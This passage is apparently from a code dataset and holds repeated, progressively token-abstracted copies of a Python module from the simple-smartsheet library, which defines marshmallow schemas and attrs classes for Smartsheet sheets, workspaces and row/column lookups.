None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserSettings(Object):\n critical_path_enabled: bool\n display_summary_tasks: bool\n\n\nclass UserPermissionsSchema(Schema):\n summary_permissions = fields.Str(data_key='summaryPermissions')\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserPermissions(Object):\n summary_permissions: str\n\n\nclass WorkspaceSchema(Schema):\n id = fields.Int()\n name = fields.Str()\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Workspace(Object):\n id: int\n name: str\n\n\nclass SheetSchema(CoreSchema):\n \"\"\"Marshmallow Schema for Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n \"\"\"\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key='accessLevel')\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key='createdAt')\n modified_at = fields.DateTime(data_key='modifiedAt')\n version = fields.Int()\n total_row_count = fields.Int(data_key='totalRowCount')\n effective_attachment_options = fields.List(fields.Str(), data_key=\n 'effectiveAttachmentOptions')\n gantt_enabled = fields.Bool(data_key='ganttEnabled')\n read_only = fields.Bool(data_key='readOnly')\n dependencies_enabled = fields.Bool(data_key='dependenciesEnabled')\n resource_management_enabled = fields.Bool(data_key=\n 'resourceManagementEnabled')\n cell_image_upload_enabled = fields.Bool(data_key='cellImageUploadEnabled')\n user_settings = fields.Nested(UserSettingsSchema, data_key='userSettings')\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\n 'userPermissions')\n has_summary_fields = fields.Bool(data_key='hasSummaryFields')\n is_multi_picklist_enabled = fields.Bool(data_key='isMultiPicklistEnabled')\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass UserPermissionsSchema(Schema):\n summary_permissions = fields.Str(data_key='summaryPermissions')\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserPermissions(Object):\n summary_permissions: str\n\n\nclass WorkspaceSchema(Schema):\n id = fields.Int()\n name = fields.Str()\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Workspace(Object):\n id: int\n name: str\n\n\nclass SheetSchema(CoreSchema):\n \"\"\"Marshmallow Schema for Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n \"\"\"\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key='accessLevel')\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key='createdAt')\n modified_at = fields.DateTime(data_key='modifiedAt')\n version = fields.Int()\n total_row_count = fields.Int(data_key='totalRowCount')\n effective_attachment_options = fields.List(fields.Str(), data_key=\n 'effectiveAttachmentOptions')\n gantt_enabled = fields.Bool(data_key='ganttEnabled')\n read_only = fields.Bool(data_key='readOnly')\n dependencies_enabled = fields.Bool(data_key='dependenciesEnabled')\n resource_management_enabled = fields.Bool(data_key=\n 'resourceManagementEnabled')\n cell_image_upload_enabled = fields.Bool(data_key='cellImageUploadEnabled')\n user_settings = fields.Nested(UserSettingsSchema, data_key='userSettings')\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\n 'userPermissions')\n has_summary_fields = fields.Bool(data_key='hasSummaryFields')\n is_multi_picklist_enabled = fields.Bool(data_key='isMultiPicklistEnabled')\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass UserPermissionsSchema(Schema):\n <assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserPermissions(Object):\n summary_permissions: str\n\n\nclass WorkspaceSchema(Schema):\n id = fields.Int()\n name = fields.Str()\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Workspace(Object):\n id: int\n name: str\n\n\nclass SheetSchema(CoreSchema):\n \"\"\"Marshmallow Schema for Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n \"\"\"\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key='accessLevel')\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key='createdAt')\n modified_at = fields.DateTime(data_key='modifiedAt')\n version = fields.Int()\n total_row_count = fields.Int(data_key='totalRowCount')\n effective_attachment_options = fields.List(fields.Str(), data_key=\n 'effectiveAttachmentOptions')\n gantt_enabled = fields.Bool(data_key='ganttEnabled')\n read_only = fields.Bool(data_key='readOnly')\n dependencies_enabled = fields.Bool(data_key='dependenciesEnabled')\n resource_management_enabled = fields.Bool(data_key=\n 'resourceManagementEnabled')\n cell_image_upload_enabled = fields.Bool(data_key='cellImageUploadEnabled')\n user_settings = fields.Nested(UserSettingsSchema, data_key='userSettings')\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\n 'userPermissions')\n has_summary_fields = fields.Bool(data_key='hasSummaryFields')\n is_multi_picklist_enabled = fields.Bool(data_key='isMultiPicklistEnabled')\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserPermissions(Object):\n summary_permissions: str\n\n\nclass WorkspaceSchema(Schema):\n id = fields.Int()\n name = fields.Str()\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Workspace(Object):\n id: int\n name: str\n\n\nclass SheetSchema(CoreSchema):\n \"\"\"Marshmallow Schema for Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n \"\"\"\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key='accessLevel')\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key='createdAt')\n modified_at = fields.DateTime(data_key='modifiedAt')\n version = fields.Int()\n total_row_count = fields.Int(data_key='totalRowCount')\n effective_attachment_options = fields.List(fields.Str(), data_key=\n 'effectiveAttachmentOptions')\n gantt_enabled = fields.Bool(data_key='ganttEnabled')\n read_only = fields.Bool(data_key='readOnly')\n dependencies_enabled = fields.Bool(data_key='dependenciesEnabled')\n resource_management_enabled = fields.Bool(data_key=\n 'resourceManagementEnabled')\n cell_image_upload_enabled = fields.Bool(data_key='cellImageUploadEnabled')\n user_settings = fields.Nested(UserSettingsSchema, data_key='userSettings')\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\n 'userPermissions')\n has_summary_fields = fields.Bool(data_key='hasSummaryFields')\n is_multi_picklist_enabled = fields.Bool(data_key='isMultiPicklistEnabled')\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n 